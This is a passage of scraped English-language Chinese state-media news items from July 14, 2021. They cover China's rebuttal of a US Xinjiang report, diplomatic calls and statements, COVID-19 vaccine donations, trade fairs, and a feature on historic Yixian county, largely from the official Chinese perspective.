"The report is a guide-book for further anti-China actions. The new content in this report are like political lobbying materials offered to political elites to suggest draft bills, and with the politicians' talking about these topics in the media or to the public, the increased attention will create momentum. Moreover, more bills related to China's Xinjiang may be brought forward by US politicians, offering a legal basis for administrative departments to impose sanctions," Zhu said.

The US annual report also listed sanctions imposed by the US over Xinjiang issue and Blinken told media on Monday they will use all the tools at their disposal to "generate coordinated international pressure and response."

In response to the US move, Chinese Foreign Ministry spokesperson Zhao Lijian said at a routine press conference on Tuesday, "I want to tell you a joke. The US wrote in a report that its government will defend and protect the human rights of all people of the world."

Zhao said the US' move is "ridiculous and with its own notorious human rights record, instead of correcting its own problems, some people in the US always want to point fingers on others and a report made under this logic is "waste paper."

"I want to tell you another joke. The US has smeared China for 'committing genocide' and crimes against humanity in Xinjiang. This is the biggest lie of the century," Zhao said, noting that when talking about genocide, it suits the US perfectly.

"Hyping the issue, launching propaganda wars, upgrading accusations and kidnap international opinion we saw the US play these tricks when it beat the war drum before invading Iraq. Its move has no legal basis in international law and violates international orders," Zhu said.

Zhu noted that genocide and committing atrocities are serious crimes and there are complete and mature procedures as well as international orders centered on the UN to verify and determine based on evidence whether one country has committed these crimes. No country has the right to make the judgment of "genocide," nor can it use domestic laws to impose unilateral sanctions on others.

Narrative war on human rights

The annual report came against the backdrop of the ongoing 47th session of the UN Human Rights Council where battles on Xinjiang-related topics and developing countries' efforts to oppose politicizing human rights by the US and Western countries have been intensified.

Wang Jiang, a distinguished research fellow at the Institute for Frontier Regions of China, Zhejiang Normal University, described the annual report as the latest US move to coordinate its allies for actions at the UN human rights body as well as to keep the momentum of the anti-China campaign.

The US and Western countries who are hyping Xinjiang issues are facing the embarrassing situation of having no solid evidence and this is why US released the report to link the words "genocide" and "atrocities" to China at any time on any occasion, Wang said.

GT/Chen Xia

In contrast to the joint statement made by a small group of countries, including Canada, the US, the UK and Australia, which groundlessly accused China over Xinjiang related topics, a total of 67 countries expressed their support for China's stance at the ongoing UNHRC.

Wang noted that by leading the campaign to smear China, the US and the West are poisoning the environment of the UN Human Rights Council and blocking communications on human rights between developing countries and developed ones.

"China and developing countries have to robustly defend themselves," Wang said, referring to China's criticism of Canada, Australia and the US for their notorious human rights records, including genocide against indigenous people, murdering civilians in overseas military missions and domestic systemic discrimination against minorities.

Experts on human rights in China see China and developing countries' criticism against Western countries more as the efforts made to break the US and the West's monopoly over discourse on human rights.

"For a long time, the US and Western countries have not reflected on their mistakes in history, have imposed their own human rights conception on other countries, wishfully think others would repeat their mistakes, and did not take developing countries' useful advice to enrich the human rights content. Now more developing countries are voicing their opposition and taking actions to change the current system on human rights," Zhu said.

(Web editor: Zhong Wenxing, Hongyu)
University Alliance of the Silk Road launches summer course

People's Daily Online) 09:20, July 14, 2021

The University Alliance of the Silk Road launched a summer course titled Han-Tang Civilization in Museums and Legal Protection at the Emperor Qinshihuang's Mausoleum Site Museum in Xian, capital city of northwest Chinas Shaanxi province on July 12, 2021.

(Photo/cnwest.com)

A total of 42 Chinese and international students joined this program. They are from 13 top universities in China including Peking University, Fudan University, Renmin University of China, and Xi'an Jiaotong University. Over the following week, the course will focus on the protection of the cultural heritage of museums, applying the learning model of "lectures from experts + museum practical visits + interactive communication".

Xi Guang, Vice Principal of Xian Jiaotong University, addresses the ceremony. (Photo/cnwest.com)

In his opening speech, Xi Guang, Vice Principal of Xian Jiaotong University, gave an introduction on Xi'an Jiaotong University and the University Alliance of the Silk Road. He encouraged the international students to visit more places and get to know the real China.

Qian Jikui, Deputy Director of the Shaanxi Provincial Bureau of Cultural Relics, addresses the ceremony. (Photo/cnwest.com)

Qian Jikui, Deputy Director of the Shaanxi Provincial Bureau of Cultural Relics, pointed out that this course is worth encouraging as a model of cross-border cooperation and innovation in higher education and cultural heritage. He hoped that all participants could contribute to cultural exchanges across the world through learning and spreading fine traditional Chinese culture.

Tian Jing, Deputy Director of the Emperor Qinshihuang's Mausoleum Site Museum, addresses the ceremony. (Photo/cnwest.com)

Tian Jing, Deputy Director of the Emperor Qinshihuang's Mausoleum Site Museum, pointed out that as the eighth wonder of the world, the museum has an extremely strong educational function. She hoped that through the immersive learning process, participants will truly understand the essence of museum collections and use legal means to protect the heritage.

Liu Shuguang, Chairman of the Chinese Museums Association, delivers a lecture report. (Photo/cnwest.com)

After the opening ceremony, Liu Shuguang, Chairman of the Chinese Museums Association, delivered the first lecture report entitled "The Basic National Condition of Chinese Cultural Heritage". In the report, he gave a detailed account of the conservation of different types of cultural relics in China, introduced the characteristics and future development of Chinese museums through the use of vivid examples, and encouraged the students present to love Chinese culture, increase their cultural confidence, and strive to be gatekeepers of culture.

The program is organized by the University Alliance of the Silk Road, Shaanxi Provincial Bureau of Cultural Relics, sub-organized by The Belt and Road IP Alliance of the Silk Road, Intellectual Property Research Institute of Xi'an Jiaotong University, and the School of International Education, Xi'an Jiaotong University.

(Web editor: Hongyu, Bianji)
Xi vows in-depth vaccine cooperation with Turkey

Xinhua) 09:21, July 14, 2021

BEIJING, July 13 (Xinhua) -- The Chinese side stands ready to conduct in-depth vaccine cooperation with Turkey and help it defeat the COVID-19 pandemic at an early date, Chinese President Xi Jinping said Tuesday in a phone conversation with his Turkish counterpart, Recep Tayyip Erdogan.

Xi pointed out that since last year, the practical cooperation between China and Turkey has yielded encouraging results, showing strong resilience and great potential.

The close cooperation between the two sides in fighting the COVID-19 pandemic has become a new highlight in bilateral relations, Xi said.

Noting that China and Turkey are about to mark the 50th anniversary of the establishment of their diplomatic relations, Xi said the Chinese side is willing to work with Turkey to promote greater development of China-Turkey strategic cooperative relations.

Xi emphasized that both sides should respect each other's core concerns and enhance strategic mutual trust.

China supports Turkey in safeguarding national sovereignty, independence and territorial integrity, and in taking a development path in line with its own national conditions, Xi said, adding that China is also willing to strengthen cooperation with Turkey in anti-terrorism, security and other fields.

Xi called on the two sides to promote synergy between joint construction of the Belt and Road Initiative and the Middle Corridor project of Turkey, explore new ideas and measures to optimize bilateral trade structure, and improve economy and trade cooperation so as to push for more fruitful results in their practical cooperation.

Both sides should jointly oppose labelling the virus and politicizing origin tracing, and promote the building of a global community of health for all, Xi added.

For his part, Erdogan once again congratulated the Communist Party of China on its centennial.

He said that this year also marks the 50th anniversary of the establishment of diplomatic relations between Turkey and China, which is of special significance for both countries.

Turkey attaches importance to developing relations with China, and is willing to have close contacts with China and look to the future, jointly build the Belt and Road, and expand practical cooperation in such fields as economy, trade and infrastructure, Erdogan said, adding that Turkey welcomes investment cooperation with Chinese enterprises.

Expressing appreciation for China's invaluable support in fighting the COVID-19 epidemic, Erdogan said the safety and effectiveness of Chinese vaccines have won recognition and trust worldwide, and Turkey hopes to strengthen vaccine cooperation with China.

Turkey has and will continue to adhere to the one-China policy firmly, he said.

Turkey also supports China in safeguarding its independence, sovereignty and territorial integrity, and in combating terrorism, he said, adding that his country does not allow anyone to use Turkish territory to engage in separatist activities that endanger China's sovereignty.

(Web editor: Xia Peiyao, Hongyu)
China blasts Japan for interfering in internal affairs

Xinhua) 09:32, July 14, 2021

BEIJING, July 13 (Xinhua) -- China on Tuesday criticized Japan for referring to the stability around Taiwan for the first time in Defense of Japan 2021 white paper.

Chinese foreign ministry spokesperson Zhao Lijian said at a press briefing that Japan has been recently grossly interfering in China's internal affairs, and making groundless accusations regarding China's normal national defense and military activities. Japan is also pointing fingers at China's legitimate maritime activities and playing up the so-called "China threat," which is wrong and irresponsible.

China deplores and rejects this, Zhao said.

Stressing that Taiwan is part of China and the Taiwan question is purely its internal affair, he said China never allows interference in the Taiwan question in any form by any country.

"China must and will be reunified. A complete reunification of China is most beneficial to regional peace and stability," Zhao said.

The Diaoyu Island and its affiliated islands are China's inherent territory, he said, noting that by conducting patrol and law enforcement activities in waters off the Diaoyu Islands, China is exercising its legal right.

Zhao said the Coast Guard Law is just a routine piece of domestic legislation, not targeted at any specific country. It is totally in line with international law and international practice. In fact, many countries, including Japan, have enacted similar laws and regulations long before China, he added.

He also said the "Indo-Pacific Strategy" aims to stoke bloc confrontation and create cliques for geopolitical games, which marks the comeback of a Cold War mentality and retrogression and "should be swept into the dustbin of history."

"We once again urge Japan to approach the relevant issues with the right mentality and show respect for China's sovereignty and sincerity in upholding regional peace and stability," Zhao said.

(Web editor: Xia Peiyao, Hongyu)
China urges Taliban to make a clean break with terrorist forces

CGTN) 09:36, July 14, 2021

Photo/Xinhua

Chinese State Councilor and Foreign Minister Wang Yi on Tuesday urged the Taliban to make a clean break with all terrorist forces and return to the mainstream of Afghan politics.

Wang make the remarks during a joint press conference with Tajik Foreign Minister Sirojiddin Muhriddin following their talks in Dushanbe.

As a major military force in Afghanistan, the Taliban should realize the responsibilities it bears for the nation, Wang said.

(Web editor: Zhong Wenxing, Hongyu)
103-year-old man receives COVID-19 vaccine

Xinhua) 09:44, July 14, 2021

JINAN, July 13 (Xinhua) -- It has been a week since Shan Zhigao, a 103-year-old man in east China's Shandong Province, received the first dose of COVID-19 vaccine at home by medical staff.

"The centenarian said it didn't hurt and he didn't feel it at all when we asked about his feelings after vaccination," said Wang Lijun, head of Wangshuanglou health center in Rangu Town, where Shan lives.

According to Wang, Shan is the oldest person in the town to get the jab. Since July 1, the health center has dispatched two teams and vaccinated more than 4,000 people over 60.

"For the elderly, we have worked out a special vaccination plan. Taking Shan as an example, we called his son on July 2 and set up a physical examination team after confirming relevant information," Wang said.

Four medical workers went to Shan's home to carry out a health examination, including measuring his blood pressure, blood glucose and performing an electrocardiogram.

The results showed Shan was in good health. A team of three medical staff went to Shan's home on July 6 and vaccinated him with the first dose of Sinovac COVID-19 vaccine.

The centenarian was under observation for more than one hour after the inoculation.

Shan Shaozhu, the son of Shan Zhigao, who is in his 70s, said after himself getting the jab, he brought the news to his father that the elderly can also receive the vaccine.

"On hearing this, my father showed willingness. He likes to go out and walk around, and the vaccination can make him feel protected," he said.

Wang said the health center has been encouraging people to receive the vaccine through various channels, such as sending short messages and distributing informative materials about the jab.

As of Monday, more than 1.39 billion doses of COVID-19 vaccines had been administered in China, the National Health Commission announced Tuesday.

Twenty-one days after the centenarian's first dose, Shan Zhigao will be vaccinated with the final one on July 27.

"He doesn't have to worry about anything, just wait for us at home," Wang said.

(Web editor: Xia Peiyao, Hongyu)
U.S. groups to Biden: Stop confrontation with China, prioritize cooperation

CGTN) 09:48, July 14, 2021

More than 40 U.S. organizations sent a letter to U.S. President Joe Biden and lawmakers last Wednesday, urging them to prioritize cooperation with China on climate change and curb its confrontational approach.

"While we are encouraged by stated commitments from the United States and China to work together and with other countries to enact urgent climate policies, we are deeply troubled by the growing Cold War mentality driving the United States' approach to China - an antagonistic posture that risks undermining much-needed climate cooperation," said the letter.

The groups called on the Biden administration and all members of Congress to eschew the "dominant antagonistic approach" to U.S. - China relations and instead prioritize multilateralism, diplomacy and cooperation with China to address the climate crisis.

The escalating, bipartisan anti-China rhetoric in both Congress and the White House not only damages the diplomatic and political relationships needed to move forward, but also bolsters racist, right-wing movements in the United States, fuels violence against people of East and Southeast Asian descent, said the letter.

These groups are not alone in urging U.S. politicians to reject a confrontational approach to China and pursue cooperating with China to address common issues including climate crisis.

On July 1, 28 U.S. organizations in a joint letter called on House Speaker Nancy Pelosi to help promote a "more balanced and reasonable" national security approach to competition with China and reject the one put forward in the U.S. Innovation and Competition Act that the Senate passed a month ago, which would "unnecessarily increase regional tensions."

Taking the Strategic Competition Act, which was included in the U.S. Innovation and Competition Act, as an example, the letter said the Act "contains multiple provisions that would unnecessarily increase regional tensions, endanger essential diplomatic flexibility, and could inadvertently contribute to a growing climate of anti-Asian racism in America."

With the provisions provoking excessive escalation and conflict, the letter pointed out that those would make it harder, not easier, to address issues of mutual concern ranging from climate change to nuclear proliferation.

Concluding that the provisions could "ultimately be counterproductive", the groups said in the letter that "we urge you to ensure that China-related national security legislation that you bring to the floor has been considered through regular order in a manner that permits members to fully scrutinize the legislation, debate crucial issues, and offer amendments."

(Web editor: Zhong Wenxing, Hongyu)
Suspect dead, 2 officers injured following shooting at mall near U.S. city of Baltimore

Xinhua) 10:02, July 14, 2021

WASHINGTON, July 13 (Xinhua) -- A suspect was dead and two police officers were injured following a shooting Tuesday morning at a mall near Baltimore, the U.S. state of Maryland, the Baltimore County Police Department (BCoPD) said.

Just after 8:00 a.m. ET, police were called to the scene at Security Square Mall in Woodlawn, an unincorporated community just outside the city of Baltimore, after reports of two U.S. Marshals being shot, BCoPD said in a release.

The injured officers, later identified as members of the Baltimore Police Department's Warrant Apprehension Task Force, suffered gunshot wounds at the time when police arrived at the scene. They were taken to an area hospital, being treated for non-life threatening injures, according to the release.

"The suspect involved in this morning's shooting outside Security Square Mall is deceased," BCoPD said in a tweet sent just after 10:00 a.m., adding in the release that the suspect suffered at least one gunshot wound.

The release said an investigation into the shooting remained active and open, and that Baltimore County Homicide detectives remained outside the mall as the investigation continued.

Local media cited BCoPD police as saying that investigators were focusing their attention on a car in the parking lot near a Japanese seafood buffet that's part of the mall complex, and that another car might also be involved in the shooting. Police believed the shooting only happened outside the mall.

(Web editor: Xia Peiyao, Hongyu)
Vice premier stresses solid preparations for 4th import expo

Xinhua) 10:13, July 14, 2021

Chinese Vice Premier Hu Chunhua, also head of the organizing committee of the China International Import Expo (CIIE), presides over a meeting of the expo's organizing committee in Beijing, capital of China, July 13, 2021. (Xinhua/Zhai Jianlan)

BEIJING, July 13 (Xinhua) -- Chinese Vice Premier Hu Chunhua on Tuesday called for solid efforts to finalize preparations for the fourth China International Import Expo (CIIE) in November.

Hu, also head of the organizing committee of the CIIE, made the remarks while presiding over a meeting of the expo's organizing committee.

The CIIE has been held successfully on three previous occasions and has become an international public good for the world to share, He said.

He stressed solid preparations for key activities during the expo, including the opening ceremony and the Hongqiao International Economic Forum.

He also underscored monitoring the development of COVID-19, both at home and abroad, and strengthening the firm prevention and control of the pandemic.

All related departments and local authorities should enhance coordination and jointly work for the success of the fourth CIIE, Hu said.

The fourth CIIE will be held from Nov. 5 to 10 in Shanghai this year.

(Web editor: Xia Peiyao, Hongyu)
74 arrested for cross-border online gambling in China's Sichuan

Xinhua) 11:18, July 14, 2021

CHENGDU, July 13 (Xinhua) -- Police in southwest China's Chengdu City said Tuesday that they have busted a cross-border online gambling case involving over 100 million yuan (about 15.46 million U.S. dollars) and arrested 74 suspects.

In February this year, Chengdu police discovered that a suspect surnamed Cao was engaged in cross-border online gambling activities by acting as an agent for overseas gambling sites and set up dens for the illegal activity in the Shuangliu and Chenghua districts of Chengdu, Sichuan Province.

Eleven of the suspects are agents of more than 20 foreign gambling apps. They solicited gamblers to use the apps through China's popular social networking apps WeChat and QQ, from which the suspects made profit.

After an investigation, over 200 police officers raided 15 dens in Chengdu on April 19, confiscating 38 computers, 276 cell phones and more than 100,000 yuan in cash.

Further investigation into the case is underway.

(Web editor: Xia Peiyao, Hongyu)
China to hold international service trade fair in September

Xinhua) 12:46, July 14, 2021

Photo taken on Sept. 2, 2020 shows the outdoor exhibition area of the China International Fair for Trade in Services in Beijing, capital of China. (Xinhua/Xing Guangli)

BEIJING, July 13 (Xinhua) -- The China International Fair for Trade in Services (CIFTIS), a major platform for the service trade in the country, will take place in early September in Beijing, authorities said on Tuesday.

China will expand the opening up of the service sector and further relax market access restrictions, said commerce ministry official Chen Chunjiang at a press conference.

Highlighting openness, cooperation, and global economic recovery, the CIFTIS 2021 will focus on current topics such as the digital economy and carbon neutrality, said Yan Ligang, head of the Beijing Municipal Commerce Bureau.

Apart from the traditional venue of the China National Convention Center, some CIFTIS events will take place in Shougang Park, a new city landmark, once a vacated industrial site in Shijingshan District, said Yan.

As of Tuesday, some 138 overseas organizations and foreign embassies in China had shown their intentions to stage exhibitions or meetings at the CIFTIS, according to Yan.

The fair, to be held from Sept. 2 to Sept. 7, will feature an exhibition area of 130,000 square meters and will likely see over 100 forums, conferences, and business negotiations, he added.

(Web editor: Xia Peiyao, Hongyu)
China supports Colombia in continuing to implement peace agreement: envoy

Xinhua) 12:54, July 14, 2021

UNITED NATIONS, July 13 (Xinhua) -- Geng Shuang, China's deputy permanent representative to the United Nations, said on Tuesday that China supports the Colombian government in continuing to effectively implement the peace agreement.

China supports the government in "strengthening national governance, maintaining security and stability, vigorously developing economy, improving people's well-being, resolving differences through peaceful means, promoting social reconciliation and creating favorable conditions for the smooth holding of next year's election," Geng told the Security Council quarterly meeting on the situation in the country.

As has been the case with previous regular Council meetings on Colombia, Tuesday's briefing focused on various aspects of the implementation of the November 2016 peace agreement between the government of Colombia and the former rebel group FARC-EP, including the security situation in the country, transitional justice processes and the reintegration of former FARC combatants.

Geng stressed that China supports the Colombian Government in striving to overcome the pandemic-related difficulties, speeding up land reforms, addressing poverty, social injustice and underdevelopment in rural areas, strengthening security measures, and comprehensively cracking down on armed groups and organized crimes.

(Web editor: Xia Peiyao, Hongyu)
Interview: CPC elevates quality of life in China, says head of Uruguay's Broad Front party

Xinhua) 13:09, July 14, 2021

MONTEVIDEO, July 13 (Xinhua) -- Structural reforms promoted by the Communist Party of China (CPC) have led to a substantial uplifting of the people's well-being in China, said Javier Miranda, president of Uruguay's Broad Front (FA) party.

"The transformation that China achieved is staggering. It is not a gratuitous miracle, but the result of the long-term planning and continuous efforts of the CPC," said the leader.

China's economic growth, and investment in research and development "are means established and developed through hard work and unremitting efforts to make people's lives better," Miranda said.

"From COVID-19 prevention and control to poverty alleviation, the CPC has united and led the Chinese people to make unparalleled achievements, all of which are inseparable from the CPC's original aspiration of seeking happiness for the people. I am confident that the CPC will unite and lead the Chinese people to make even greater achievements," Miranda said.

As the global epidemic situation remains grim, China's success in epidemic prevention and control cannot be separated from the resolute decisions and deployment of the CPC, he said, speaking highly of China's efforts to promote COVID-19 vaccines as global public goods.

"China's commitment to protect its population and global health, by producing vaccines and making them accessible, is an outstanding decision," he said.

In 2017, Miranda visited southwest China's Yunnan province and the Nu River communities to see how poverty alleviation policies were being implemented.

"One villager I met there had a son, who is now studying in a university and that is amazing. This is a clear example of what policies to eradicate poverty mean," Miranda said.

This year marks the centenary of the founding of the CPC. Miranda, on behalf of the FA, extended warm congratulations and said the CPC has the spirit of self-innovation, which is essential for it to maintain vigorous vitality all the time.

Miranda said he believes that cooperation with China is of great importance to Uruguay. He said that investment from China has helped Uruguay create many jobs, and China has provided Uruguay a lot of support in COVID-19 vaccine supply. The two countries, he believes, will further strengthen cooperation in many aspects in the future.

(Web editor: Xia Peiyao, Liang Jun)
Fighter jets execute patrol flight

China Military Online) 13:46, July 14, 2021

A fighter jet attached to an aviation brigade of the air force under the PLA Southern Theater Command takes off during a recent 24-hour flight training exercise. (eng.chinamil.com.cn/Photo by Zhang Xuemin)

(Web editor: Zhong Wenxing, Hongyu)
Chinese, Tajik FMs agree on strengthening bilateral cooperation

Xinhua) 13:48, July 14, 2021

DUSHANBE, July 13 (Xinhua) -- Chinese State Councilor and Foreign Minister Wang Yi said Tuesday that he and Tajik Foreign Minister Sirojiddin Muhriddin reached a broad range of consensuses on deepening China-Tajikistan cooperation in various areas under new circumstances.

Wang made the remarks at a joint press conference with Muhriddin after their talks here in the Tajik capital of Dushanbe.

Wang said the two countries agreed to comprehensively build a community of common development, and take high-level joint construction of the Belt and Road as a main line of activity for speeding up key cooperation projects.

The two sides will set up Central Asia's first Luban Workshop, a worldwide program for technical personnel, in Tajikistan, train high-end workers for Tajikistan, and help boost the country's capability of sustainable development.

China and Tajikistan also pledged to jointly build a community of common security, Wang said, adding that the urgent task now is to coordinate efforts to deal with the changing situation in Afghanistan, stabilize the Tajik-Afghan borders, combat terrorism, and prevent non-regional forces from making waves in Central Asia.

Meanwhile, the two countries will work together to build a community of common health, the Chinese diplomat said, noting that it is critical to be united in the fight against the COVID-19 pandemic.

China will continue to provide vaccines to Tajikistan, help Tajikistan build traditional medicine centers, and improve its medical and healthcare system, he said.

The two sides agreed to jointly oppose politicizing the pandemic and COVID-19 origin tracing, resist "vaccine nationalism," and reject any practices to create "immunity gap," Wang noted.

According to Wang, China and Tajikistan will promote the building of a community with a shared future for mankind.

Wang said the two sides agreed to strengthen coordination on international and regional issues, firmly maintain the international order with the United Nations at its core, defend multilateralism, object to interference in the internal affairs of other countries, and oppose unilateralism and bullying practices.

(Web editor: Xia Peiyao, Hongyu)
China's national carbon market to start trading in July

Xinhua) 13:50, July 14, 2021

BEIJING, July 14 (Xinhua) -- China's national carbon emissions trading market will commence trading in July, with all preparatory work ready, the Ministry of Ecology and Environment said Wednesday.

The first batch of trading will be among the power companies, and market participants will be expanded to include other industries afterward, Zhao Yingmin, vice minister of ecology and environment, told a press conference.

The ministry will roll out regulations on the trading, and improve relevant standards and management schemes while expanding the trading varieties and methods, Zhao said.

The carbon trading market is expected to be an important scheme for China to realize the goal of peaking carbon dioxide emissions by 2030 and achieving carbon neutrality by 2060.

(Web editor: Xia Peiyao, Hongyu)
Xinjiang offers free annual health checkups for every resident: white paper

Xinhua) 14:19, July 14, 2021

BEIJING, July 14 (Xinhua) -- Xinjiang offers free annual health checkups for every resident, according to a white paper released by the State Council Information Office on Wednesday.

A fund for health checkups was set up in 2016, into which 8.2 billion yuan has been injected to date, so that every resident in Xinjiang can have a free annual health checkup to spot early signs of illnesses, according to the white paper titled "Respecting and Protecting the Rights of All Ethnic Groups in Xinjiang."

(Web editor: Xia Peiyao, Hongyu)
Hyping of religious discrimination exposes hegemonic nature of US

14:22, July 14, 2021 By Su Yingxiang ( People's Daily Online

The US has been demonizing Islam and deliberately exaggerating Islamophobia in recent years. The hegemonic US labels itself as the weak and Islamic forces as the strong, attempting to seek moral support for its ambition of dominating the Islamic world.

(Cartoon by Lu Lingxing)

The US equates the entire Islamic world with extremist Islamic forces. That is just calling white black, confusing right and wrong, and maliciously hyping up threats from the Islamic community, which leads to frequent incidents such as the burning of the Quran and filming of a blasphemous movie about the prophet of Islam.

In 2017, the Trump administration issued an anti-Muslim ban under the pretext of an executive order named Protecting the Nation from Foreign Terrorist Entry into the United States, barring citizens from seven Muslim countries from entering the United States for 90 days.

The US has boasted that it upholds religious freedom, but religious discrimination has knocked the country off its pedestal.

Related:

US wages illegal wars, disturbs international order

US wields sanctions to bully other countries

Americas double standards aggravate humanitarian crisis

US interference in other countries' internal affairs aggravates chaos in Middle East

US prisoner abuse scandals expose hypocrisy of human rights defender claim

(Web editor: Hongyu, Bianji)
China's cooperation crucial in Pakistan's vaccination drive

Xinhua) 15:03, July 14, 2021

A handover ceremony is held for the second batch of COVID-19 vaccines donated by the Chinese government at Noor Khan Air Base near Islamabad, capital of Pakistan, March 17, 2021. (Xinhua/Ahmad Kamal)

"China is giving equal opportunity to all countries contrary to the exclusive G7 or Western club of countries who are boosting vaccine nationalism and vaccine hoarding," said Mustafa Hyder Sayed, executive director of the Pakistan-China Institute.

ISLAMABAD, July 14 (Xinhua) -- China's vaccine cooperation is crucial in Pakistan's vaccination drive, and China always comes to help at Pakistan's time of need, as some Pakistani health officials, scholars as well as ordinary people have observed.

RELIABLE HELPER

"Whenever Pakistan is in trouble, or there has been some crisis, China has always been forthcoming and helping Pakistan," said Abdul Rehman Tarar, a retired senior Pakistani military official who has been witnessing the Pakistan-China friendship for decades, with both countries supporting each other and firmly standing by each other.

"In the last one and a half years, people saw support and cooperation from China, though the country itself was seriously threatened by a very rapid spread of the COVID-19 pandemic," Tarar, who has also authored a book on China in his native Urdu language, told Xinhua.

Recently, Tarar has witnessed the Pakistan-China relationship reaching new heights with ordinary Pakistanis benefitting from China's vaccine donations and supplies during the COVID-19 pandemic.

Pakistanis, who were in a dismal situation amid the COVID-19 pandemic, felt the true essence of the Pakistan-China friendship when their close friend China overcame its own difficulties to provide protective gear, ventilators and finally vaccines to help Pakistan fight the pandemic, said Tarar, who is among millions of Pakistanis to be inoculated with Chinese vaccines against COVID-19.

"Throughout the pandemic, when the people of Pakistan switched on the television or visited social media on their phones, they would see aircraft initially carrying protective gear and then loads of vaccines from China to Pakistan," while other countries in the West such as the United States which were supposed to be working for humanity, as they were bragging themselves to be, were seen looking inward when their own systems got challenged, he said.

A medical worker receives a dose of COVID-19 vaccine at a hospital on the outskirts of Islamabad, capital of Pakistan, Feb. 4, 2021.(Xinhua/Ahmad Kamal)

FRIEND INDEED

Pakistan started its COVID-19 vaccination drive in February this year after receiving vaccines donated by China. With more donations from China as well as the Sinopharm, Sinovac and CanSino COVID-19 vaccines it had purchased from China, Pakistan has been immunizing its population against COVID-19.

Asad Umar, head of the National Command and Operation Center (NCOC) against COVID-19, said that China's role in Pakistan's vaccination drive has been crucial because currently, all countries are vaccinating their populations and the vaccine supply is always shorter than demand.

According to the NCOC, Pakistan is inoculating around 400,000 people a day, aiming at vaccinating half a million people a day in the first phase and then one million people a day in the next phase.

The country's target to vaccinate such a large number of people is likely to be achieved mainly by China's CanSino COVID-19 vaccine, which is being rolled out locally with the support of China. The vaccine's phase-three trials were also conducted in Pakistan last year, enabling the country to join global efforts to develop a vaccine.

Talking about the CanSino COVID-19 vaccine, Umar said that it was "the first time ever in Pakistan's history that phase-three trials of any vaccine were held. We are now importing bulk vaccines from CanSino Biologics Inc., and they are being formulated and finished, sterilized and packed in Pakistan."

He said that the trials and local packaging of the vaccine in Pakistan also resulted in the "technology transfer and cooperation in the health field at a level which we have not seen earlier."

"And our hope is that we use this not as an end result, but as a foundation stone on the basis of which we build an even closer relationship and greater technology collaboration in the health sector with China," he said.

China through its donations, vaccine supplies and technology transfer to help Pakistan roll out locally packed Chinese vaccines had been "literally the major source available to us for vaccination and therefore, as they say in English, a friend in need is a friend indeed and never has need been greater than what the world has experienced since COVID-19 struck. And at the time of need China comes through for us," Umar added.

A medical worker wearing protective suit checks medical equipment at a COVID-19 vaccination center at a local hospital on the outskirts of Islamabad, capital of Pakistan, Feb. 1, 2021. (Xinhua/Ahmad Kamal)

WIN-WIN COOPERATION

According to the NCOC, Pakistan plans to inoculate 100 million eligible people for vaccination in its total population of over 220 million by mid-2022. So far, there have been over 3.5 million fully vaccinated while over 14.6 million have been partially vaccinated.

Pakistani experts believe that China's vaccine support to the world and Pakistan will continue, due to its belief in a community with a shared future for mankind.

Sharing his views with Xinhua, Mustafa Hyder Sayed, executive director of an Islamabad-based think-tank, the Pakistan-China Institute, said that China believes in sharing and bridging the gap in the vaccination drive, by giving people in Pakistan, countries in Africa, East Asia, Central Asia, the Middle East, and war-torn countries like Afghanistan and Syria, an opportunity to get vaccinated.

"It shows the Chinese democracy and socialism with Chinese characteristics are not about a zero-sum game, but about win-win cooperation where all countries can win together, and the development can be shared equally," he said.

He said that China's support to the world including Pakistan, despite being a developing nation itself, reflects China's policy for a multipolar world where there are equal opportunities for all countries regardless of their size and wealth.

"China is giving equal opportunity to all countries contrary to the exclusive G7 or Western club of countries who are boosting vaccine nationalism and vaccine hoarding," he said.

Sayed said that China's vaccine support to Pakistan at a crucial time when China itself is inoculating its population and there is a vaccine shortage in the world, is a gesture which the people of Pakistan and other countries will remember.

(Web editor: Xia Peiyao, Hongyu)
Philippines receives additional Sinovac vaccines from China

Xinhua) 16:03, July 14, 2021

MANILA, July 14 (Xinhua) -- China delivered an additional batch of Sinovac CoronaVac vaccines to the Philippines on Wednesday to support the Southeast Asian country's campaign against the COVID-19 pandemic.

Carlito Galvez, the chief implementer of the government's measures to combat COVID-19, received the fresh shipment of CoronaVac vaccines from China's Sinovac Biotech at the airport in Manila.

China was the first to deliver coronavirus vaccines to the Philippines. It donated the first batch of CoronaVac to Manila on Feb. 28, allowing the country to kick off its vaccination drive on March 1.

Philippine Foreign Secretary Teodoro Locsin said on Tuesday that his country and China have shown "excellent cooperation and solidarity" in fighting the COVID-19 pandemic.

"The Philippines is grateful for China's assistance to the country's public health response," he said in opening remarks during a webinar on China's experience in the fight against COVID-19.

As of Tuesday, the Philippines' Department of Health (DOH) said it administered more than 13.8 million doses of vaccines, with more than 3.9 million people having been fully vaccinated so far. The DOH aims to vaccinate up to 70 million people this year.

The Philippines has reported a total of 1,481,660 confirmed cases as of Tuesday, including 26,092 deaths.

(Web editor: Zhong Wenxing, Hongyu)
To local officials and residents in Yixian county, Anhui province, the really exciting thing about being designated a national famous historical and cultural city could be that the honor proves it has played an important role in the development of Chinese civilization, a county official said. In a statement issued in June, the State Council awarded the designation to Yixian, which has existed for more than 2,200 years. Xu Juan, deputy director of Yixian's housing and urban-rural development bureau, said the county deserves the honor. Among its 1,684 immovable cultural relics, more than 90 percent are residential buildings. The remainder includes city walls, temples, bridges and wells. Yixian also has 92 cultural heritage protection units, with the largest one being the cluster of 126 ancient residential buildings in Xidi village. Hongcun village is another such unit. Though Xidi and Hongcun are about 18 kilometers apart, they are jointly listed as a UNESCO World Heritage Site and are colloquially referred to as "the country's most beautiful villages" thanks to their natural landscapes and ancient buildings. In 2012, they were both designated Chinese Traditional Villages, a list for well-preserved villages established before the end of the Qing Dynasty (1644-1911). Yixian has 42 other such villages, according to the county government. In fact, the architecture in Yixian's old villages is so well-preserved that visitors may feel that they have traveled back in time when strolling through these settlements. Many of the buildings were constructed by extremely successful merchants, known in Chinese as the huishang, who made their fortune by trading tea and salt around the country. Huizhou prefecture, which existed for nearly eight centuries, was established in the 1120s to govern six counties, including Yixian. So far, three Huizhou counties have been listed as national famous historical and cultural cities. The merchants achieved most of their success between the late Ming Dynasty (1368-1644) and the early Qing Dynasty. Becoming a merchant was a common thing in Huizhou during those timesmore than 70 percent of local male residents had their own businessesas the mountainous region had very little farmland. Chinese people are known for their affection toward their birthplace, and the Huizhou merchants were no different. Many of them started constructing buildings in their hometowns, and these structures were seen as symbols of pride. The merchants took great care in ensuring that the buildings were exquisitely crafted with brick carvings at the entrances, stone carvings over various windows and wood carvings on door frames. Yixian's designation as a historical and cultural city will play an important role in protecting Huizhou culture and preserving the heritage, according to Xu.


